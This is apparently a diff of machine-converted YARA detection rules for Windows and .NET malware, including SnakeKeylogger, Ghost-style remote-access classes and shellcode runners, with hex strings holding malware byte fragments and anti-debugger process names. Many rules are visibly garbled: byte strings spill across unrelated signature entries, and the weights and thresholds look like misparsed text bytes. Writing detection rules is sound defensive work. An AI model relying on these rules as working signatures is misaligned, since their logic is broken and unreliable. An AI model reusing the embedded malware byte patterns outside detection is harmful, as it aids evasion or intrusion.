-121172,7 +129126,7 @@ rule _InfrastructureShared_11059{ ((#a_4c_0 & 1)*21539+(#a_7a_1 & 1)*29797+(#a_00_2 & 1)*28515) >=3 } -rule _InfrastructureShared_11060{ +rule _InfrastructureShared_11773{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -121180,26 +129134,37 @@ rule _InfrastructureShared_11060{ $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4b 61 74 63 68 6c 69 6e 6b 2e 42 21 64 68 61 00 01 00 0b 01 68 68 68 20 6f 6f 6f 20 69 69 69 01 00 2c 01 53 76 63 48 6f 73 74 44 4c 4c 20 52 65 67 69 73 74 65 72 53 65 } //21539 $a_63_1 = {43 74 72 6c 48 61 6e 64 6c 65 72 20 66 61 69 6c 65 64 02 00 0c 01 77 69 6e 5f 6c 6f 61 64 2e 64 6c 6c 02 00 22 01 49 6e 73 65 72 74 53 76 63 00 53 65 72 76 69 63 65 4d 61 69 6e 00 55 6e 69 6e 73 74 61 6c 6c 53 76 63 00 00 78 a0 00 00 03 00 03 00 06 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 68 } //30322 $a_43_2 = {61 73 73 65 73 2e 41 00 01 00 10 01 43 4b 65 72 6e 65 6c 4d 61 6e 61 67 65 72 40 40 01 00 0f 01 43 53 68 65 6c 6c 4d 61 6e 61 67 65 72 40 40 01 00 10 01 43 53 79 73 74 65 6d 4d 61 6e 61 67 65 72 40 40 01 00 12 01 43 4b 65 79 62 6f 61 72 64 4d 61 6e 61 67 65 72 40 40 01 00 0f 01 43 56 69 64 65 6f 4d 61 6e 61 67 65 72 40 40 01 00 0e 01 43 46 69 6c } //29488 - $a_6e_3 = {67 65 72 40 40 00 00 78 a0 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 6e 64 72 6f 6d 2e 53 57 21 4d 54 42 00 01 00 17 03 0f be 3a 03 cf 33 f1 42 48 0f 85 90 01 02 00 00 5f 8b c6 5e c3 90 00 01 00 16 03 c7 45 ec 73 68 65 6c c7 45 f0 6c 33 32 00 e9 90 } //19813 + $a_6e_3 = {67 65 72 40 40 00 00 78 a0 00 00 04 00 04 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 6e 61 6b 65 4b 65 79 6c 6f 67 67 65 72 2e 41 56 49 21 4d 54 42 00 02 00 37 03 08 18 5f 17 63 13 05 2b 52 00 07 02 11 04 11 05 6f 90 01 01 00 00 06 13 06 04 03 6f 90 01 01 00 00 0a 59 } //19813 condition: ((#a_4c_0 & 1)*21539+(#a_63_1 & 1)*30322+(#a_43_2 & 1)*29488+(#a_6e_3 & 1)*19813) >=3 } -rule _InfrastructureShared_11061{ +rule _InfrastructureShared_11774{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 68 30 73 74 43 6c 61 73 73 65 73 2e 41 00 01 00 10 01 43 4b 65 72 6e 65 6c 4d 61 6e 61 67 65 72 40 40 01 00 0f 01 43 53 68 65 6c 6c 4d 61 6e 61 67 65 72 40 40 01 00 10 01 43 53 79 73 74 } //16675 - $a_61_1 = {61 67 65 72 40 40 01 00 12 01 43 4b 65 79 62 6f 61 72 64 4d 61 6e 61 67 65 72 40 40 01 00 0f 01 43 56 69 64 65 6f 4d 61 6e 61 67 65 72 40 40 01 00 0e 01 43 46 69 6c 65 4d 61 6e 61 67 65 72 40 40 00 00 78 a0 00 00 04 00 04 00 04 00 } //28005 - $a_4c_2 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 6e 64 72 6f 6d 2e 53 57 21 4d 54 42 00 01 00 17 03 0f be 3a 03 cf 33 f1 42 48 0f 85 90 01 02 00 00 5f 8b c6 5e c3 90 00 01 00 16 03 c7 45 ec 73 68 65 } //8993 - $a_f0_3 = {33 32 00 e9 90 01 02 00 00 90 00 01 00 1c 01 57 6a 73 59 6a 61 8b c1 66 89 45 d8 58 6a 6d 8b d0 66 89 55 da 5a 6a 70 66 89 55 dc 01 00 1e 03 58 6a 65 66 89 45 e2 58 6a 49 66 89 45 e4 58 6a 64 66 89 45 e6 58 } //-14484 - $a_02_4 = {ff } //-28439 + $a_61_1 = {61 67 65 72 40 40 01 00 12 01 43 4b 65 79 62 6f 61 72 64 4d 61 6e 61 67 65 72 40 40 01 00 0f 01 43 56 69 64 65 6f 4d 61 6e 61 67 65 72 40 40 01 00 0e 01 43 46 69 6c 65 4d 61 6e 61 67 65 72 40 40 00 00 78 a0 00 00 04 00 04 00 02 00 } //28005 + $a_45_2 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 6e 61 6b 65 4b 65 79 6c 6f 67 67 65 72 2e 41 56 49 21 4d 54 42 00 02 00 37 03 08 18 5f 17 63 13 05 2b 52 00 07 02 11 04 11 05 6f 90 01 01 00 00 06 13 06 04 03 6f 90 01 01 00 00 0a 59 13 07 11 07 19 28 90 01 01 } //8993 + $a_13_3 = {11 08 2c 0d } //0 + $a_03_4 = {03 04 05 6f ?? 01 00 0a 0a 12 00 28 ?? 01 00 0a 12 00 28 ?? 01 00 0a 12 00 28 ?? 01 00 0a 73 7e 00 00 06 0b 2b 00 } //2 + $a_a0_5 = {00 04 00 04 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 6e 64 72 6f 6d 2e 53 57 21 4d 54 42 00 01 00 17 03 0f be 3a 03 cf 33 f1 42 48 0f 85 90 01 02 00 00 5f 8b c6 5e c3 90 00 01 00 16 03 c7 45 ec 73 68 65 6c c7 45 f0 6c 33 32 00 e9 90 01 02 00 00 90 00 01 00 1c 01 57 6a 73 59 6a 61 8b c1 66 89 45 d8 58 6a 6d 8b d0 66 89 55 da 5a 6a } //0 condition: - ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*28005+(#a_4c_2 & 1)*8993+(#a_f0_3 & 1)*-14484+(#a_02_4 & 1)*-28439) >=3 + ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*28005+(#a_45_2 & 1)*8993+(#a_13_3 & 1)*0+(#a_03_4 & 1)*2+(#a_a0_5 & 1)*0) >=3 } -rule _InfrastructureShared_11062{ +rule _InfrastructureShared_11775{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 6e 61 6b 65 4b 65 79 6c 6f 67 67 65 72 2e 41 56 49 21 4d 54 42 00 02 00 37 03 08 18 5f 17 63 13 05 2b 52 00 07 02 11 04 11 05 6f 90 01 01 00 00 06 13 06 04 03 6f 90 01 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=4 + +} +rule _InfrastructureShared_11776{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -121212,7 +129177,7 @@ rule _InfrastructureShared_11062{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*0+(#a_4b_2 & 1)*31298+(#a_00_3 & 1)*4) >=4 } -rule _InfrastructureShared_11063{ +rule _InfrastructureShared_11777{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -121225,7 +129190,7 @@ rule _InfrastructureShared_11063{ ((#a_46_0 & 1)*16675+(#a_39_1 & 1)*12378+(#a_01_2 & 1)*22052+(#a_66_3 & 1)*-3323) >=4 } -rule _InfrastructureShared_11064{ +rule _InfrastructureShared_11778{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -121237,7 +129202,7 @@ rule _InfrastructureShared_11064{ ((#a_46_0 & 1)*16675+(#a_8b_2 & 1)*7936+(#a_00_3 & 1)*-17454) >=4 } -rule _InfrastructureShared_11065{ +rule _InfrastructureShared_11779{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -121250,7 +129215,7 @@ rule _InfrastructureShared_11065{ ((#a_77_0 & 1)*16675+(#a_01_1 & 1)*1+(#a_a0_2 & 1)*0+(#a_69_3 & 1)*29797) >=4 } -rule _InfrastructureShared_11066{ +rule _InfrastructureShared_11780{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -121262,7 +129227,7 @@ rule _InfrastructureShared_11066{ ((#a_54_0 & 1)*18467+(#a_39_1 & 1)*11618+(#a_00_3 & 1)*0) >=4 } -rule _InfrastructureShared_11067{ +rule _InfrastructureShared_11781{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -121274,7 +129239,7 @@ rule _InfrastructureShared_11067{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*101+(#a_6b_2 & 1)*29285) >=4 } -rule _InfrastructureShared_11068{ +rule _InfrastructureShared_11782{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -121286,7 +129251,7 @@ rule _InfrastructureShared_11068{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*28021+(#a_01_3 & 1)*6656) >=4 } -rule _InfrastructureShared_11069{ +rule _InfrastructureShared_11783{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -121299,7 +129264,7 @@ rule _InfrastructureShared_11069{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*385+(#a_00_2 & 1)*21581+(#a_6e_3 & 1)*25959) >=4 } -rule _InfrastructureShared_11070{ +rule _InfrastructureShared_11784{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -121311,7 +129276,7 @@ rule _InfrastructureShared_11070{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*25710+(#a_01_3 & 1)*3840) >=4 } -rule _InfrastructureShared_11071{ +rule _InfrastructureShared_11785{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -121324,7 +129289,7 @@ rule _InfrastructureShared_11071{ ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*29811+(#a_6c_2 & 1)*28001+(#a_00_3 & 1)*4) >=4 } -rule _InfrastructureShared_11072{ +rule _InfrastructureShared_11786{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -121337,7 +129302,7 @@ rule _InfrastructureShared_11072{ ((#a_4c_0 & 1)*21539+(#a_62_1 & 1)*25701+(#a_4f_2 & 1)*4608+(#a_6e_3 & 1)*24946) >=4 } -rule _InfrastructureShared_11073{ +rule _InfrastructureShared_11787{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -121349,7 +129314,7 @@ rule _InfrastructureShared_11073{ ((#a_4c_0 & 1)*21539+(#a_04_1 & 1)*-28651+(#a_7c_3 & 1)*19456) >=4 } -rule _InfrastructureShared_11074{ +rule _InfrastructureShared_11788{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -121358,12 +129323,12 @@ rule _InfrastructureShared_11074{ $a_6f_1 = {74 73 32 2e 63 6f 6d 01 00 0e 01 53 50 49 5c 63 6f 6e 66 69 67 2e 74 78 74 01 00 09 01 53 50 49 5c 2a 2e 7a 69 70 01 00 0e 01 46 69 6c 65 73 5c 6c 69 6e 6b 2e 74 6d 70 00 00 04 00 78 a0 00 00 04 00 04 00 06 00 21 23 41 4c 46 3a 50 55 41 3a 57 69 6e 33 32 2f 42 61 62 79 6c 6f 6e 54 6f 6f 6c 62 61 72 2e 4b 53 34 30 00 01 00 0e 80 01 42 } //25970 $a_6c_2 = {6e 54 6f 6f 6c 62 61 72 01 00 0f 80 01 42 61 62 79 6c 6f 6e 20 53 65 72 76 69 63 65 01 00 16 80 01 42 61 62 79 6c 6f 6e 20 65 73 65 72 76 69 63 65 20 43 6c 61 73 73 01 00 0c 80 01 42 61 62 79 6c 6f 6e 20 4c 74 64 2e 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0d 80 01 55 6e 69 6e 73 74 61 6c 6c 2e 65 78 65 00 00 78 a0 00 00 04 00 04 00 08 00 21 23 48 53 } //25185 $a_4c_3 = {6f 6b 69 6e 67 46 6f 72 44 65 62 75 67 67 65 72 73 00 01 00 09 80 01 53 2d 49 63 65 2e 45 78 65 01 00 14 80 01 49 6d 6d 75 6e 69 74 79 44 65 62 75 67 67 65 72 2e 65 78 65 01 } //21076 - $a_01_4 = {78 36 34 64 62 67 2e 65 78 65 01 00 0a 80 01 78 33 32 64 62 67 2e 65 78 65 01 00 0b 80 01 6f 6c 6c 79 64 62 67 2e 65 78 65 01 00 0a 80 01 77 69 6e 64 62 67 2e 65 78 65 01 00 07 80 01 63 64 62 2e 65 78 65 01 00 08 80 01 6e 74 73 64 2e 65 78 65 00 00 78 a0 00 00 05 00 05 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 47 65 6e 69 65 2e 50 47 47 21 4d 54 42 00 05 00 74 } //2560 + $a_01_4 = {78 36 34 64 62 67 2e 65 78 65 01 00 0a 80 01 78 33 32 64 62 67 2e 65 78 65 01 00 0b 80 01 6f 6c 6c 79 64 62 67 2e 65 78 65 01 00 0a 80 01 77 69 6e 64 62 67 2e 65 78 65 01 00 07 80 01 63 64 62 2e 65 78 65 01 00 08 80 01 6e 74 73 64 2e 65 78 65 00 00 78 a0 00 00 05 00 05 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 68 65 6c 6c 63 6f 64 65 52 75 6e 6e 65 72 2e } //2560 condition: ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*25970+(#a_6c_2 & 1)*25185+(#a_4c_3 & 1)*21076+(#a_01_4 & 1)*2560) >=4 } -rule _InfrastructureShared_11075{ +rule _InfrastructureShared_11789{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -121378,34 +129343,34 @@ rule _InfrastructureShared_11075{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*31074+(#a_49_2 & 1)*21249+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1+(#a_80_5 & 1)*1) >=4 } -rule _InfrastructureShared_11076{ +rule _InfrastructureShared_11790{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 08 00 21 " strings : $a_54_0 = {3a 4c 6f 6f 6b 69 6e 67 46 6f 72 44 65 62 75 67 67 65 72 73 00 01 00 09 80 01 53 2d 49 63 65 2e 45 78 65 01 00 14 80 01 49 6d 6d 75 6e 69 74 79 44 65 62 75 67 67 65 72 2e 65 78 65 01 00 0a 80 01 78 36 34 64 62 67 2e 65 78 65 01 00 0a 80 01 78 33 32 } //18467 - $a_2e_1 = {78 65 01 00 0b 80 01 6f 6c 6c 79 64 62 67 2e 65 78 65 01 00 0a 80 01 77 69 6e 64 62 67 2e 65 78 65 01 00 07 80 01 63 64 62 2e 65 78 65 01 00 08 80 01 6e 74 73 64 2e 65 78 65 00 00 78 a0 00 00 05 00 05 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 47 65 6e 69 65 2e 50 47 47 21 4d 54 42 00 05 } //25188 - $a_11_2 = {2c 75 00 } //29696 - $a_90_3 = {01 00 00 0a 1f 10 62 0f 01 28 90 01 01 00 00 0a 1e 62 60 0f 01 28 90 01 01 00 00 0a 60 13 06 02 19 8d 88 00 00 01 25 16 } //271 - $a_10_4 = {63 20 ff 00 00 00 5f d2 9c 25 17 11 06 1e 63 20 ff 00 00 00 5f d2 9c 25 18 11 06 20 ff 00 00 } //1553 - $a_9c_5 = {90 01 01 00 00 0a 00 06 11 06 5a 13 07 11 07 16 fe 04 13 08 11 08 2c 0c 90 00 00 00 78 a0 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 6f 64 69 6c 6f 61 64 65 72 2e 42 4a 21 4d 54 42 00 01 00 22 01 b8 00 01 00 00 2b c7 b9 2e 39 0e 00 99 f7 f9 8b 45 fc 8b 0d 94 6c 4a 00 0f b6 44 08 ff 03 d0 8d 45 f8 01 00 1b 01 4c 68 4f 4c 37 61 53 69 63 4c 62 63 6e 6a 4e 4a 5a 56 6e 6e 76 69 4b 31 31 50 39 01 00 0b 01 70 72 65 67 72 61 64 2e 6e 65 74 01 00 0b 01 70 72 69 6d 65 63 68 2e 65 62 79 01 00 0c 01 70 00 7a 00 68 00 64 00 4e 00 28 00 00 00 78 a0 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 54 72 } //24320 - $a_6e_6 = {70 79 3a 57 69 6e 33 32 2f 44 65 6c 66 2e 53 56 21 4d 54 42 00 01 00 09 80 01 41 67 65 6e 74 2e 70 64 62 01 00 15 80 01 42 6f 67 75 73 20 4a 50 45 47 20 63 6f 6c 6f 72 73 70 61 63 65 01 00 12 80 01 57 72 6f 6e 67 20 4a 50 45 47 20 6c 69 62 72 61 72 79 01 00 0a 80 01 48 61 6e 43 61 70 74 75 } //27247 - $a_00_7 = {23 } //25970 # + $a_2e_1 = {78 65 01 00 0b 80 01 6f 6c 6c 79 64 62 67 2e 65 78 65 01 00 0a 80 01 77 69 6e 64 62 67 2e 65 78 65 01 00 07 80 01 63 64 62 2e 65 78 65 01 00 08 80 01 6e 74 73 64 2e 65 78 65 00 00 78 a0 00 00 05 00 05 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 68 65 6c 6c 63 6f 64 65 52 75 6e 6e 65 } //25188 + $a_53_2 = {4d 54 42 00 03 00 37 01 33 d2 8a d4 89 15 40 ad 40 00 8b c8 81 e1 ff 00 00 00 89 0d 3c ad 40 00 c1 e1 08 03 ca 89 0d 38 ad 40 00 c1 e8 10 a3 34 ad 40 00 6a 01 e8 98 16 00 00 59 85 c0 75 08 01 00 1b 01 a3 18 ad 40 00 e8 d8 0e 00 00 e8 } //11890 + $a_00_4 = {00 89 75 d0 8d 45 a4 50 01 00 10 } //9704 + $a_64_5 = {6f 73 5c 6c 6f 67 69 6e 2e 62 69 6e 00 00 78 a0 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 6f 64 69 6c 6f 61 64 65 72 2e 42 4a 21 4d 54 42 00 01 00 22 01 b8 00 01 00 00 2b c7 b9 2e 39 0e 00 99 f7 f9 8b 45 fc 8b 0d 94 6c 4a 00 0f b6 44 08 ff 03 d0 8d 45 f8 01 00 1b 01 4c 68 } //22017 + $a_61_6 = {69 63 4c 62 63 6e 6a 4e 4a 5a 56 6e 6e 76 69 4b 31 31 50 39 01 00 0b 01 70 72 65 67 72 61 64 2e 6e 65 74 01 00 0b 01 70 72 69 6d 65 63 68 2e 65 62 79 01 00 0c 01 70 } //19535 condition: - ((#a_54_0 & 1)*18467+(#a_2e_1 & 1)*25188+(#a_11_2 & 1)*29696+(#a_90_3 & 1)*271+(#a_10_4 & 1)*1553+(#a_9c_5 & 1)*24320+(#a_6e_6 & 1)*27247+(#a_00_7 & 1)*25970) >=4 + ((#a_54_0 & 1)*18467+(#a_2e_1 & 1)*25188+(#a_53_2 & 1)*11890+(#a_00_4 & 1)*9704+(#a_64_5 & 1)*22017+(#a_61_6 & 1)*19535) >=4 } -rule _InfrastructureShared_11077{ +rule _InfrastructureShared_11791{ meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 03 00 21 " strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 47 65 6e 69 65 2e 50 47 47 21 4d 54 42 00 05 00 74 03 11 05 2c 75 00 0f 01 28 90 01 01 00 00 0a 1f 10 62 0f 01 28 90 01 01 00 00 0a 1e 62 60 0f 01 28 90 01 01 00 00 0a 60 } //21539 + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 68 65 6c 6c 63 6f 64 65 52 75 6e 6e 65 72 2e 4e 53 21 4d 54 42 00 03 00 37 01 33 d2 8a d4 89 15 40 ad 40 00 8b c8 81 e1 ff 00 00 00 89 0d 3c ad 40 00 c1 e1 08 03 ca 89 0d 38 ad 40 00 c1 } //16675 + $a_34_1 = {40 00 6a 01 e8 98 16 00 00 59 85 c0 75 08 01 00 1b 01 a3 18 ad 40 00 e8 d8 0e 00 00 e8 1a 0e 00 00 e8 25 0b 00 00 89 75 d0 8d 45 a4 50 01 00 10 01 56 69 64 65 6f 73 5c 6c 6f 67 69 6e 2e 62 69 6e 00 00 78 a0 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 6f 64 69 6c 6f 61 64 65 72 2e 42 4a 21 4d 54 42 00 01 00 22 01 b8 00 01 00 00 2b c7 b9 2e 39 0e 00 99 f7 f9 8b 45 fc 8b 0d 94 6c 4a 00 0f b6 44 08 ff 03 d0 8d 45 f8 01 00 1b 01 4c 68 4f 4c 37 61 53 } //4328 + $a_62_2 = {6e 6a 4e 4a 5a 56 6e 6e 76 69 4b 31 31 50 39 01 00 0b 01 70 72 65 67 72 61 64 2e 6e 65 74 01 00 0b 01 70 72 69 6d 65 63 68 2e 65 62 79 01 00 0c 01 70 00 7a 00 68 00 64 00 4e 00 28 00 00 00 78 a0 00 00 05 00 05 00 05 00 21 23 41 } //25449 condition: - ((#a_4c_0 & 1)*21539) >=5 + ((#a_46_0 & 1)*16675+(#a_34_1 & 1)*4328+(#a_62_2 & 1)*25449) >=5 } -rule _InfrastructureShared_11078{ +rule _InfrastructureShared_11792{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -121419,7 +129384,7 @@ rule _InfrastructureShared_11078{ ((#a_46_0 & 1)*16675+(#a_53_1 & 1)*14156+(#a_65_2 & 1)*12082+(#a_79_3 & 1)*24946+(#a_49_4 & 1)*22858) >=5 } -rule _InfrastructureShared_11079{ +rule _InfrastructureShared_11793{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -121433,7 +129398,7 @@ rule _InfrastructureShared_11079{ ((#a_46_0 & 1)*16675+(#a_4a_1 & 1)*26478+(#a_2c_2 & 1)*29298+(#a_01_3 & 1)*28265+(#a_6c_4 & 1)*25940) >=5 } -rule _InfrastructureShared_11080{ +rule _InfrastructureShared_11794{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -121445,7 +129410,7 @@ rule _InfrastructureShared_11080{ ((#a_54_0 & 1)*18467+(#a_54_1 & 1)*25927+(#a_00_4 & 1)*102) >=5 } -rule _InfrastructureShared_11081{ +rule _InfrastructureShared_11795{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -121459,7 +129424,7 @@ rule _InfrastructureShared_11081{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*28233+(#a_3a_2 & 1)*29812+(#a_23_3 & 1)*5+(#a_73_4 & 1)*-32502) >=5 } -rule _InfrastructureShared_11082{ +rule _InfrastructureShared_11796{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -121473,7 +129438,7 @@ rule _InfrastructureShared_11082{ ((#a_54_0 & 1)*18467+(#a_63_1 & 1)*30063+(#a_63_2 & 1)*29283+(#a_65_3 & 1)*25449+(#a_74_4 & 1)*30063) >=5 } -rule _InfrastructureShared_11083{ +rule _InfrastructureShared_11797{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -121487,7 +129452,7 @@ rule _InfrastructureShared_11083{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*25959+(#a_63_2 & 1)*29554+(#a_6d_3 & 1)*269+(#a_6d_4 & 1)*24429) >=5 } -rule _InfrastructureShared_11084{ +rule _InfrastructureShared_11798{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 21 " @@ -121500,7 +129465,7 @@ rule _InfrastructureShared_11084{ ((#a_46_0 & 1)*16675+(#a_2e_1 & 1)*29283+(#a_47_3 & 1)*3072+(#a_66_4 & 1)*28483) >=5 } -rule _InfrastructureShared_11085{ +rule _InfrastructureShared_11799{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 08 00 21 " @@ -121515,7 +129480,7 @@ rule _InfrastructureShared_11085{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*2560+(#a_64_2 & 1)*28528+(#a_53_3 & 1)*22632+(#a_4c_4 & 1)*24930+(#a_52_7 & 1)*21320) >=5 } -rule _InfrastructureShared_11086{ +rule _InfrastructureShared_11800{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 0e 00 21 " @@ -121537,7 +129502,7 @@ rule _InfrastructureShared_11086{ ((#a_46_0 & 1)*16675+(#a_eb_1 & 1)*261+(#a_52_2 & 1)*11880+(#a_72_3 & 1)*30319+(#a_69_4 & 1)*26977+(#a_69_5 & 1)*14958+(#a_65_6 & 1)*29285+(#a_00_8 & 1)*7+(#a_72_9 & 1)*22074+(#a_74_10 & 1)*27763+(#a_01_11 & 1)*25455+(#a_45_12 & 1)*8993+(#a_6e_13 & 1)*29285) >=5 } -rule _InfrastructureShared_11087{ +rule _InfrastructureShared_11801{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -121552,7 +129517,7 @@ rule _InfrastructureShared_11087{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*25971+(#a_33_2 & 1)*26967+(#a_61_3 & 1)*25697+(#a_6b_4 & 1)*24948+(#a_45_5 & 1)*28265) >=6 } -rule _InfrastructureShared_11088{ +rule _InfrastructureShared_11802{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -121567,7 +129532,7 @@ rule _InfrastructureShared_11088{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*25964+(#a_c8_2 & 1)*292+(#a_47_3 & 1)*12851+(#a_61_4 & 1)*270+(#a_00_5 & 1)*11886) >=6 } -rule _InfrastructureShared_11089{ +rule _InfrastructureShared_11803{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 04 00 21 " @@ -121579,7 +129544,7 @@ rule _InfrastructureShared_11089{ ((#a_46_0 & 1)*16675+(#a_6b_1 & 1)*29537+(#a_69_3 & 1)*27905) >=7 } -rule _InfrastructureShared_11090{ +rule _InfrastructureShared_11804{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -121594,7 +129559,7 @@ rule _InfrastructureShared_11090{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*29541+(#a_2e_3 & 1)*385+(#a_79_4 & 1)*19282+(#a_00_5 & 1)*21581+(#a_67_6 & 1)*27649) >=7 } -rule _InfrastructureShared_11091{ +rule _InfrastructureShared_11805{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -121608,7 +129573,7 @@ rule _InfrastructureShared_11091{ ((#a_54_0 & 1)*18467+(#a_53_1 & 1)*25931+(#a_72_2 & 1)*29793+(#a_3a_5 & 1)*19521+(#a_13_6 & 1)*-24229) >=7 } -rule _InfrastructureShared_11092{ +rule _InfrastructureShared_11806{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 06 00 21 " @@ -121620,7 +129585,7 @@ rule _InfrastructureShared_11092{ ((#a_4c_0 & 1)*21539+(#a_2e_1 & 1)*25972+(#a_b3_3 & 1)*-31487) >=8 } -rule _InfrastructureShared_11093{ +rule _InfrastructureShared_11807{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 0a 00 21 " @@ -121630,41 +129595,51 @@ rule _InfrastructureShared_11093{ $a_01_2 = {4d 65 73 73 61 67 65 53 6d 75 67 67 6c 65 72 } //1 MessageSmuggler $a_01_3 = {47 65 74 42 79 74 65 73 } //1 GetBytes $a_a0_4 = {00 0a 00 0a 00 03 00 21 23 64 6f 5f 65 78 68 61 75 73 74 69 76 65 68 73 74 72 5f 72 65 73 63 61 6e 00 0a 00 27 03 81 e1 0f 00 00 80 79 05 49 83 c9 f0 41 90 03 0f 05 8b 90 02 02 88 4d 90 01 01 8a 4c 38 02 32 cb 8a 14 30 32 d3 90 00 0a 00 1e 03 81 e1 0f 00 00 80 79 05 49 83 c9 f0 41 8b 90 02 02 88 4d 90 